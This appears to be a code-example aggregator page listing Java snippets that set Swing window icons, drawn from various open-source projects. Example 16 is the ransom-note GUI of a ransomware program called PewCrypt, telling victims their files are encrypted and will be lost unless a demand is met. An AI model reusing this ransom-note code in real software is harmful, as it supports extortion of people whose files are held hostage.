Java Code Examples for javax.swing.JFrame#setIconImage()

The following examples show how to use javax.swing.JFrame#setIconImage() . You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: GuiMain.java    From wildfly-core with GNU Lesser General Public License v2.1 8 votes vote down vote up
private static synchronized void initJFrame(CliGuiContext cliGuiCtx) {
    JFrame frame = new JFrame("CLI GUI");

    frame.setIconImage(getJBossIcon());
    frame.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);
    frame.addWindowListener(new WindowAdapter() {
        @Override
        public void windowClosed(WindowEvent e) {
            System.exit(0);
        }
    });
    frame.setJMenuBar(makeMenuBar(cliGuiCtx));
    frame.setSize(800, 600);

    Container contentPane = frame.getContentPane();

    contentPane.add(cliGuiCtx.getMainPanel(), BorderLayout.CENTER);

    setUpLookAndFeel(cliGuiCtx.getMainWindow());
    frame.setVisible(true);
}
 
Example 2
Source File: RawPacketSender.java    From Spark with Apache License 2.0 6 votes vote down vote up
public RawPacketSender() {

	_mainframe = new JFrame("Send Raw Packets");
	_mainframe.setIconImage(SparkRes.getImageIcon(SparkRes.MAIN_IMAGE)
		.getImage());
	_mainpanel = new JPanel();
	_mainpanel.setLayout(new GridLayout(2, 1));
	_textarea = new JTextArea();
	_inputarea = new JTextArea();
	_textscroller = new JScrollPane(_textarea);
	_sendButton = new JButton("Send",
		SparkRes.getImageIcon(SparkRes.SMALL_CHECK));
	_clear = new JButton("Clear",
		SparkRes.getImageIcon(SparkRes.SMALL_DELETE));

	createGUI();

    }
 
Example 3
Source File: SetRootPaneSkin.java    From radiance with BSD 3-Clause "New" or "Revised" License 6 votes vote down vote up
/**
 * Opens a sample frame under the specified skin.
 * 
 * @param skin
 *            Skin.
 */
private void openSampleFrame(SubstanceSkin skin) {
    JFrame sampleFrame = new JFrame(skin.getDisplayName());
    sampleFrame.setLayout(new FlowLayout());
    JButton defaultButton = new JButton("active");
    JButton button = new JButton("default");
    JButton disabledButton = new JButton("disabled");
    disabledButton.setEnabled(false);
    sampleFrame.getRootPane().setDefaultButton(defaultButton);

    sampleFrame.add(defaultButton);
    sampleFrame.add(button);
    sampleFrame.add(disabledButton);

    sampleFrame.setVisible(true);
    sampleFrame.pack();
    sampleFrame.setLocationRelativeTo(null);
    sampleFrame.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);
    sampleFrame.setIconImage(new BufferedImage(1, 1, BufferedImage.TYPE_4BYTE_ABGR));

    SubstanceCortex.RootPaneScope.setSkin(sampleFrame.getRootPane(), skin);
    SwingUtilities.updateComponentTreeUI(sampleFrame);
    sampleFrame.repaint();
}
 
Example 4
Source File: GuiUtilities.java    From hortonmachine with GNU General Public License v3.0 6 votes vote down vote up
/**
 * Set the frame icon, also considering the macos case.
 * 
 * @param frame the frame to set the icon for.
 * @param forceIcon an icon to set. If null, the default icon is used.
 */
public static void setDefaultFrameIcon( JFrame frame, Image forceIcon ) {
    if (forceIcon == null) {
        forceIcon = ImageCache.getBuffered(ImageCache.HORTONMACHINE_FRAME_ICON);
    }
    frame.setIconImage(forceIcon);
    OSType osType = OsCheck.getOperatingSystemType();
    if (osType == OSType.MacOS) {
        try {
            Class< ? > classFN = Class.forName("com.apple.eawt.Application", false, null);
            Method getAppMethod = classFN.getMethod("getApplication");
            Object application = getAppMethod.invoke(null);
            Method setDockIconMethod = classFN.getMethod("setDockIconImage", Image.class);
            setDockIconMethod.invoke(application, forceIcon);
        } catch (Exception e) {
        }
    }
}
 
Example 5
Source File: SqlTemplatesAndActions.java    From hortonmachine with GNU General Public License v3.0 6 votes vote down vote up
public Action getOpenInSldEditorAction( TableLevel table, DatabaseViewer spatialiteViewer ) {
    if (spatialiteViewer.currentConnectedDatabase.getType() == EDb.GEOPACKAGE) {
        return new AbstractAction("Open in SLD editor"){
            @Override
            public void actionPerformed( ActionEvent e ) {
                try {

                    DefaultGuiBridgeImpl gBridge = new DefaultGuiBridgeImpl();
                    String databasePath = spatialiteViewer.currentConnectedDatabase.getDatabasePath();

                    final MainController controller = new MainController(new File(databasePath), table.tableName);
                    final JFrame frame = gBridge.showWindow(controller.asJComponent(), "HortonMachine SLD Editor");
                    Class<DatabaseViewer> class1 = DatabaseViewer.class;
                    ImageIcon icon = new ImageIcon(class1.getResource("/org/hortonmachine/images/hm150.png"));
                    frame.setIconImage(icon.getImage());
                } catch (Exception ex) {
                    ex.printStackTrace();
                }
            }
        };
    } else {
        return null;
    }
}
 
Example 6
Source File: TicTacToePlugin.java    From Spark with Apache License 2.0 6 votes vote down vote up
/**
    * Creates The TicTacToe Window and starts the Game
    * @param gop
    * @param opponentJID
    */
   private void createTTTWindow(GameOfferPacket gop, EntityFullJid opponentJID) {

Localpart name = opponentJID.getLocalpart();

// tictactoe versus ${name}
JFrame f = new JFrame(TTTRes.getString("ttt.window.title", TTTRes.getString("ttt.game.name"),name.toString() ));

f.setIconImage(buttonimg.getImage());
GamePanel gp = new GamePanel(SparkManager.getConnection(),
	gop.getGameID(), gop.isStartingPlayer(), opponentJID,f);
f.add(gp);
f.pack();
f.setLocationRelativeTo(SparkManager.getChatManager().getChatContainer());
f.setVisible(true);

   }
 
Example 7
Source File: RoomInformation.java    From Spark with Apache License 2.0 5 votes vote down vote up
public void showRoomInformation() {
    final JFrame frame = new JFrame(FpRes.getString("title.information"));
    frame.setIconImage(SparkManager.getMainWindow().getIconImage());
    frame.getContentPane().setLayout(new BorderLayout());


    frame.getContentPane().add(new JScrollPane(this), BorderLayout.CENTER);
    frame.pack();
    frame.setSize(400, 400);
    frame.setLocationRelativeTo(SparkManager.getChatManager().getChatContainer());
    frame.setVisible(true);
}
 
Example 8
Source File: DialogUtils.java    From opensim-gui with Apache License 2.0 5 votes vote down vote up
/** Creates a new instance of DialogUtils */

public static JFrame createFrameForPanel(final JPanel panel, String title) {
    JFrame f = new JFrame(title);
    f.getContentPane().setLayout(new BorderLayout());
    f.getContentPane().add(panel, BorderLayout.CENTER);
    // potentially add a "Close" button "
    f.setDefaultCloseOperation(WindowConstants.DISPOSE_ON_CLOSE);
    f.pack();
    f.setLocationRelativeTo(null);
    f.setIconImage(TheApp.getAppImage());
    return f;
}
 
Example 9
Source File: SwiftExplorer.java    From swift-explorer with Apache License 2.0 5 votes vote down vote up
private static void openMainWindow(final MainPanel cp) throws IOException {
    JFrame frame = new JFrame(Configuration.INSTANCE.getAppName());
    
    Dimension screenSize =  java.awt.Toolkit.getDefaultToolkit().getScreenSize() ;
    
    float ratio = (float) 0.8 ;
    Dimension windowSize = new Dimension ((int)(screenSize.getWidth() * ratio), (int)(screenSize.getHeight() * ratio)) ;

    frame.setSize(windowSize.getSize());
    frame.setLocationByPlatform(true);
    frame.setIconImage(ImageIO.read(SwiftExplorer.class.getResource("/icons/logo.png")));
    frame.getContentPane().add(cp);
    frame.setDefaultCloseOperation(JFrame.DO_NOTHING_ON_CLOSE);
    frame.addWindowListener(new WindowAdapter() {
        @Override
        public void windowClosing(WindowEvent e) {
            if (cp.onClose()) {
                System.exit(0);
            }
        }
    });
    cp.setOwner(frame);
    frame.setJMenuBar(cp.createMenuBar());
    
    // center the frame
    int x = (int) ((screenSize.getWidth() - frame.getWidth()) / 2);
    int y = (int) ((screenSize.getHeight() - frame.getHeight()) / 2);
    frame.setLocation(x, y);
    
    frame.setVisible(true);
}
 
Example 10
Source File: ControlWindow.java    From TrakEM2 with GNU General Public License v3.0 5 votes vote down vote up
synchronized private JFrame newJFrame(final String title) {
	final JFrame frame = new JFrame(title);

	if (null == icon) {
		try {
			Field mic = ImageJ.class.getDeclaredField("iconPath");
			mic.setAccessible(true);
			String path = (String) mic.get(IJ.getInstance());
			icon = IJ.getInstance().createImage((ImageProducer) new URL("file:" + path).getContent());
		} catch (Exception e) {}
	}

	if (null != icon) frame.setIconImage(icon);
	return frame;
}
 
Example 11
Source File: UiUtil.java    From Java with Artistic License 2.0 5 votes vote down vote up
/**
 * 修改窗体图标
 * @param jf 
 */
public static void setFrameIcon(JFrame jf,String imagePath){
    //获取工具类
    Toolkit took = Toolkit.getDefaultToolkit();
    //根据路径获取图片
    Image image = took.getImage(imagePath);
    //设置图标
    jf.setIconImage(image);
}
 
Example 12
Source File: ExecutorProgressGui.java    From hortonmachine with GNU General Public License v3.0 5 votes vote down vote up
public ExecutorProgressGui( int max ) {
    frame = new JFrame();
    JLabel label = new JLabel("Loading...");
    JProgressBar jpb = new JProgressBar(0, max);
    jpb.setIndeterminate(false);
    JPanel panel = new JPanel(new BorderLayout(10, 10));
    panel.setBorder(BorderFactory.createEmptyBorder(10, 10, 10, 10));
    panel.add(label, BorderLayout.NORTH);
    panel.add(jpb, BorderLayout.CENTER);
    frame.add(panel);
    frame.pack();
    frame.setSize(w, h);
    frame.setLocationRelativeTo(null);
    frame.setVisible(true);
    frame.setIconImage(ImageCache.getBuffered(ImageCache.HORTONMACHINE_FRAME_ICON));
    frame.setDefaultCloseOperation(JFrame.DO_NOTHING_ON_CLOSE);

    progress = new IProgressPrinter(){
        @Override
        public void publish( ProgressUpdate update ) {
            if (update.errorMessage != null) {
                frame.dispose();
                GuiUtilities.showErrorMessage(panel, update.errorMessage);
            } else {
                label.setText(update.updateString);
                jpb.setValue(update.workDone);
            }
        }

        @Override
        public void done() {
            if (frame != null && frame.isVisible())
                frame.dispose();
        }
    };
}
 
Example 13
Source File: DummyWindowManager.java    From netbeans with Apache License 2.0 5 votes vote down vote up
protected void topComponentIconChanged(TopComponent tc, Image icon) {
    JFrame f = (JFrame) SwingUtilities.getAncestorOfClass(JFrame.class, tc);

    if (f != null) {
        f.setIconImage(icon);
    }
}
 
Example 14
Source File: ExportDialog.java    From GiantTrees with GNU General Public License v3.0 5 votes vote down vote up
public ExportDialog(JFrame parent, Tree tr, Config cfg, boolean rend) {
		
		tree = tr;
		config = cfg;
		render = rend;
		
		frame = new JFrame("Create and export tree");
		frame.setIconImage(parent.getIconImage());
		//frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		
		// FIXME: make this filechoosers static?
		fileChooser = new JFileChooser();

		// FIXME use path from preferences
		fileChooser.setCurrentDirectory(new File(tree.getOutputPath()));
//		System.getProperty("user.dir")+fileSep+"pov"));
		sceneFileChooser = new JFileChooser();
		sceneFileChooser.setCurrentDirectory(new File(tree.getOutputPath()));
//				System.getProperty("user.dir")+fileSep+"pov"));
		renderFileChooser = new JFileChooser();
		renderFileChooser.setCurrentDirectory(new File(tree.getOutputPath()));
//		System.getProperty("user.dir")+fileSep+"pov"));
		
		timer = new Timer(INTERVAL, new TimerListener());
		treeCreationTask = new TreeCreationTask(config);
		
		createGUI();
		frame.setVisible(true);
	}
 
Example 15
Source File: DiscoMixer.java    From aurous-app with GNU General Public License v2.0 4 votes vote down vote up
/**
 * Initialize the contents of the frame.
 */
private void initialize() {
	discoFrame = new JFrame();
	discoFrame.setTitle("Disco Mixer");
	discoFrame.setIconImage(Toolkit.getDefaultToolkit().getImage(
			DiscoMixer.class.getResource("/resources/aurouslogo.png")));
	discoFrame.setType(Type.UTILITY);
	discoFrame.setResizable(false);
	discoFrame.setBounds(100, 100, 606, 239);
	discoFrame
	.setDefaultCloseOperation(WindowConstants.DO_NOTHING_ON_CLOSE);
	discoFrame.getContentPane().setLayout(null);
	discoFrame.addWindowListener(new java.awt.event.WindowAdapter() {
		@Override
		public void windowClosing(
				final java.awt.event.WindowEvent windowEvent) {
			final int confirm = JOptionPane.showOptionDialog(discoFrame,
					"Are You Sure You Want to Close Disco Mixer?",
					"Exit Confirmation", JOptionPane.YES_NO_OPTION,
					JOptionPane.QUESTION_MESSAGE, null, null, null);
			if (confirm == 0) {
				Playlist.getPlaylist().discoOpen = false;
				discoFrame.dispose();
			}

		}
	});

	final JLabel logoLabel = new JLabel("");
	logoLabel.setHorizontalAlignment(SwingConstants.CENTER);
	logoLabel.setIcon(new ImageIcon(DiscoMixer.class
			.getResource("/resources/fmw.png")));
	logoLabel.setBounds(10, 0, 580, 70);
	discoFrame.getContentPane().add(logoLabel);

	discoProgressBar = new JProgressBar();
	discoProgressBar.setStringPainted(true);
	discoProgressBar.setBounds(113, 119, 380, 49);
	discoProgressBar.setVisible(false);
	discoFrame.getContentPane().add(discoProgressBar);

	queryField = new JTextField();
	queryField.setFont(new Font("Segoe UI", Font.PLAIN, 20));
	queryField.setHorizontalAlignment(SwingConstants.CENTER);
	queryField.setBounds(113, 119, 380, 44);
	discoFrame.getContentPane().add(queryField);
	queryField.setColumns(10);

	final JLabel instructionsLabel = new JLabel(
			"Enter an Artist, Song or Choose from the Top 100!");
	instructionsLabel.setFont(new Font("Segoe UI", Font.PLAIN, 20));
	instructionsLabel.setHorizontalAlignment(SwingConstants.CENTER);
	instructionsLabel.setBounds(23, 81, 541, 27);
	discoFrame.getContentPane().add(instructionsLabel);

	discoBuildButton = new JButton("Disco!");
	discoBuildButton.addActionListener(e -> {
		if (!queryField.getText().trim().isEmpty()) {
			discoProgressBar.setVisible(true);
			YouTubeDiscoUtils.buildDiscoPlayList(queryField.getText());
		} else {
			JOptionPane.showMessageDialog(discoFrame,
					"Please enter search query", "Error",
					JOptionPane.ERROR_MESSAGE);
			return;
		}
	});
	discoBuildButton.setForeground(Color.BLACK);
	discoBuildButton.setBounds(197, 174, 100, 26);
	discoFrame.getContentPane().add(discoBuildButton);

	top100Button = new JButton("Top Hits!");
	top100Button.addActionListener(e -> {
		discoProgressBar.setVisible(true);
		YouTubeDiscoUtils.buildTopPlayList();
	});
	top100Button.setForeground(Color.BLACK);
	top100Button.setBounds(307, 174, 100, 26);
	discoFrame.getContentPane().add(top100Button);
	Playlist.getPlaylist().discoOpen = true;
	final GhostText ghostText = new GhostText("Ghost B.C.", queryField);
	ghostText.setHorizontalAlignment(SwingConstants.CENTER);
	discoFrame.setLocationRelativeTo(UISession.getPresenter().jfxPanel);
}
 
Example 16
Source File: UI.java    From PewCrypt with MIT License 4 votes vote down vote up
/**
 * Initialise the contents of the frame.
 */
private void initialize() {

	byte[] imageBytes = DatatypeConverter.parseBase64Binary(imgB64);

	try {

		img = ImageIO.read(new ByteArrayInputStream(imageBytes));

	} catch (IOException e1) {

		e1.printStackTrace();

	}

	frmYourFilesHave = new JFrame();
	frmYourFilesHave.setResizable(false);
	frmYourFilesHave.setIconImage(img);
	frmYourFilesHave.setTitle("PewCrypt");
	frmYourFilesHave.setType(Type.POPUP);
	frmYourFilesHave.getContentPane().setBackground(Color.BLACK);
	frmYourFilesHave.setBounds(100, 100, 1247, 850);
	frmYourFilesHave.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
	frmYourFilesHave.getContentPane().setLayout(null);

	txtYourFilesHave = new JTextField();
	txtYourFilesHave.setBounds(0, 0, 1215, 45);
	txtYourFilesHave.setHorizontalAlignment(SwingConstants.CENTER);
	txtYourFilesHave.setBackground(Color.BLACK);
	txtYourFilesHave.setForeground(Color.RED);
	txtYourFilesHave.setEditable(false);
	txtYourFilesHave.setText("Your Files Have Been Encrypted!");
	frmYourFilesHave.getContentPane().add(txtYourFilesHave);
	txtYourFilesHave.setColumns(10);

	JTextArea Instructions = new JTextArea();
	Instructions.setBounds(0, 242, 1215, 203);
	Instructions.setEditable(false);
	Instructions.setFont(new Font("Monospaced", Font.PLAIN, 18));
	Instructions.setBackground(Color.BLACK);
	Instructions.setForeground(Color.RED);
	Instructions.setText(
			"Your files have been encrypted using a 256 bit AES key which has been encrypted with a 2048 bit RSA key\r\nIn order to get your files back read the instructions bellow\r\n\r\nInstructions:\r\r\n - Subscribe to Pewdiepie (Hint: Hit the bro fist)\r\r\n - Wait until Pewdiepie reaches 100 million subs at which point a decryption tool will be realseaed\r\r\nIf T-Series beats Pewdiepie THE PRIVATE KEY WILL BE DELETED AND YOU FILES GONE FOREVER!");
	frmYourFilesHave.getContentPane().add(Instructions);

	progressBarPEW.setMaximum(100000000);
	progressBarPEW.setForeground(new Color(0, 153, 204));
	progressBarPEW.setToolTipText("Pewdiepie Sub Progress Bar");
	progressBarPEW.setBackground(Color.DARK_GRAY);
	progressBarPEW.setBounds(0, 85, 1215, 50);
	frmYourFilesHave.getContentPane().add(progressBarPEW);

	progressBarT.setMaximum(100000000);
	progressBarT.setForeground(new Color(204, 0, 0));
	progressBarT.setToolTipText("T-Series Sub Progress Bar");
	progressBarT.setBackground(Color.DARK_GRAY);
	progressBarT.setBounds(0, 186, 1215, 50);
	frmYourFilesHave.getContentPane().add(progressBarT);

	JButton btnNewButton = new JButton(new ImageIcon(img));
	btnNewButton.setBackground(Color.BLACK);
	btnNewButton.addActionListener(new ActionListener() {
		public void actionPerformed(ActionEvent arg0) {

			try {

				// open Pewdiepie channel
				Desktop.getDesktop().browse(new URI("https://www.youtube.com/channel/UC-lHJZR3Gqxm24_Vd_AJ5Yw"));

			} catch (IOException | URISyntaxException e) {

				e.printStackTrace();
			}
		}
	});
	btnNewButton.setBounds(491, 485, 241, 249);
	btnNewButton.setBorderPainted(false);
	btnNewButton.setFocusPainted(false);
	btnNewButton.setContentAreaFilled(false);
	frmYourFilesHave.getContentPane().add(btnNewButton);

	lblPewdiepie.setHorizontalAlignment(SwingConstants.CENTER);
	lblPewdiepie.setForeground(Color.RED);
	lblPewdiepie.setBounds(0, 47, 1215, 33);
	frmYourFilesHave.getContentPane().add(lblPewdiepie);

	lblT.setHorizontalAlignment(SwingConstants.CENTER);
	lblT.setForeground(Color.RED);
	lblT.setBounds(0, 144, 1215, 33);
	frmYourFilesHave.getContentPane().add(lblT);
}
 
Example 17
Source File: RSClient.java    From osrsclient with GNU General Public License v2.0 4 votes vote down vote up
public static void initUI() {
	JFrame mainwnd = new JFrame("Luna - Open source OSRS Client");
	Image icon = Toolkit.getDefaultToolkit().getImage("resources/lunaicon.png");
	mainwnd.setIconImage(icon);
	

	MainToolBar toolbar = new MainToolBar();
   
	mainwnd.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);

	JPanel mainpanel = new JPanel(new MigLayout("fill, insets 5"));
	mainpanel.setBackground(Color.black);
	mainpanel.add(toolbar, "dock north, growx, gap 0");
	toolbar.setVisible(true);

	mainwnd.getContentPane().add(mainpanel);
	JPanel gamepanel = new JPanel(new MigLayout(" gap 0, ins 0 "));
	gamepanel.setBackground(Color.gray);

	boolean debug = false;

	gamepanel.setVisible(true);
	mainpanel.add(gamepanel, "height 503:503,width 765:765, cell 0 0, growx, growy"); //height 503:503:503,width 765:765:765,
	gamepanel.setVisible(true);

	JPanel sidepanel = new JPanel(new MigLayout("ins 0"));
	JPanel bottompanel = new JPanel(new MigLayout("ins 0"));
	sidepanel.setBackground(Color.black);
	bottompanel.setBackground(Color.black);

               sidepanel.add(new SidePane(), "width 250:250, height 503, cell 0 0, spany, push, growy");
	bottompanel.add(new BottomPane(), "height 200:200, width 765, cell 0 0,spanx, push, growx ");
	mainpanel.add(sidepanel, "width 250, height 503, cell 1 0,growy, spany, dock east ");
	mainpanel.add(bottompanel, "height 200, width 765,cell 0 1, growx, dock south");


	mainwnd.setVisible(true);

	mainwnd.pack();

	if (debug) {
		gamepanel.add(new JPanel(), "width 765, height 503, cell 0 0");

		//GameSession game = new GameSession();
		//reflector.setHooks(HookImporter.readJSON("/home/ben/hooks.json"));
		//IRCSession mainsesh = new IRCSession();
		//mainsesh.connect("irc.swiftirc.net");
		//mainsesh.joinChannel("#night");
                       
                       
	}
	if (!debug) {
		try {
			LoadingPanel l = new LoadingPanel();
			gamepanel.add(l, "width 765:765, height 503:503, cell 0 0, growx, growy, push");
			final Loader loader = new Loader(Game.OSRS, gamepanel);
			gamepanel.add(loader.applet, "width 765:765, height 503:503, dock center, growx, growy, push");
			gamepanel.remove(l);
			reflector = loader.loader;
                               
		} catch (IllegalArgumentException ex) {
			Logger.getLogger(RSClient.class.getName()).log(Level.SEVERE, null, ex);

		}

	}

}
 
Example 18
Source File: PhoneDialog.java    From Spark with Apache License 2.0 4 votes vote down vote up
public static JFrame invoke(JComponent comp, String title, String description, ImageIcon icon) {
    final JFrame frame = new JFrame();

    frame.setIconImage(SparkRes.getImageIcon(SparkRes.TELEPHONE_24x24).getImage());
    frame.setTitle(title);

    frame.getContentPane().setLayout(new BorderLayout());

    frame.getContentPane().add(comp, BorderLayout.CENTER);
    frame.pack();
    frame.setSize(300, 200);

    // Center panel on screen
    GraphicUtils.centerWindowOnScreen(frame);

    frame.setVisible(true);

    return frame;
}
 
Example 19
Source File: VCardEditor.java    From Spark with Apache License 2.0 4 votes vote down vote up
/**
    * Displays a users profile.
    * 
    * @param jid
    *            the jid of the user.
    * @param vcard
    *            the users vcard.
    * @param parent
    *            the parent component, used for location handling.
    */
   public void displayProfile(final BareJid jid, VCard vcard, JComponent parent) {
VCardViewer viewer = new VCardViewer(jid);

final JFrame dlg = new JFrame(Res.getString("title.view.profile.for",
	jid));

avatarLabel = new JLabel();
avatarLabel.setHorizontalAlignment(JButton.RIGHT);
avatarLabel.setBorder(BorderFactory.createBevelBorder(0, Color.white,
	Color.lightGray));

// The user should only be able to close this dialog.
Object[] options = { Res.getString("button.view.profile"),
	Res.getString("close") };
final JOptionPane pane = new JOptionPane(viewer,
	JOptionPane.PLAIN_MESSAGE, JOptionPane.OK_CANCEL_OPTION, null,
	options, options[0]);

// mainPanel.add(pane, new GridBagConstraints(0, 1, 1, 1, 1.0, 1.0,
// GridBagConstraints.CENTER, GridBagConstraints.BOTH, new Insets(0, 5,
// 5, 5), 0, 0));

dlg.setIconImage(SparkRes.getImageIcon(SparkRes.PROFILE_IMAGE_16x16)
	.getImage());

dlg.pack();
dlg.setSize(350, 250);
dlg.setResizable(true);
dlg.setContentPane(pane);
dlg.setLocationRelativeTo(parent);

PropertyChangeListener changeListener = new PropertyChangeListener() {
    @Override
	public void propertyChange(PropertyChangeEvent e) {
	if (pane.getValue() instanceof Integer) {
	    pane.removePropertyChangeListener(this);
	    dlg.dispose();
	    return;
	}
	String value = (String) pane.getValue();
	if (Res.getString("close").equals(value)) {
	    pane.removePropertyChangeListener(this);
	    dlg.dispose();
	} else if (Res.getString("button.view.profile").equals(value)) {
	    pane.setValue(JOptionPane.UNINITIALIZED_VALUE);
	    SparkManager.getVCardManager().viewFullProfile(jid, pane);
	}
    }
};

pane.addPropertyChangeListener(changeListener);

dlg.addKeyListener(new KeyAdapter() {
    @Override
	public void keyPressed(KeyEvent keyEvent) {
	if (keyEvent.getKeyChar() == KeyEvent.VK_ESCAPE) {
	    dlg.dispose();
	}
    }
});

dlg.setVisible(true);
dlg.toFront();
dlg.requestFocus();
   }
 
Example 20
Source File: SettingsController.java    From hortonmachine with GNU General Public License v3.0 3 votes vote down vote up
public static void main( String[] args ) throws Exception {
    GuiUtilities.setDefaultLookAndFeel();

    DefaultGuiBridgeImpl gBridge = new DefaultGuiBridgeImpl();
    final SettingsController controller = new SettingsController();
    applySettings(controller);
    final JFrame frame = gBridge.showWindow(controller.asJComponent(), "HortonMachine Settings");

    frame.setIconImage(ImageCache.getBuffered(ImageCache.HORTONMACHINE_FRAME_ICON));

    GuiUtilities.addClosingListener(frame, controller);

}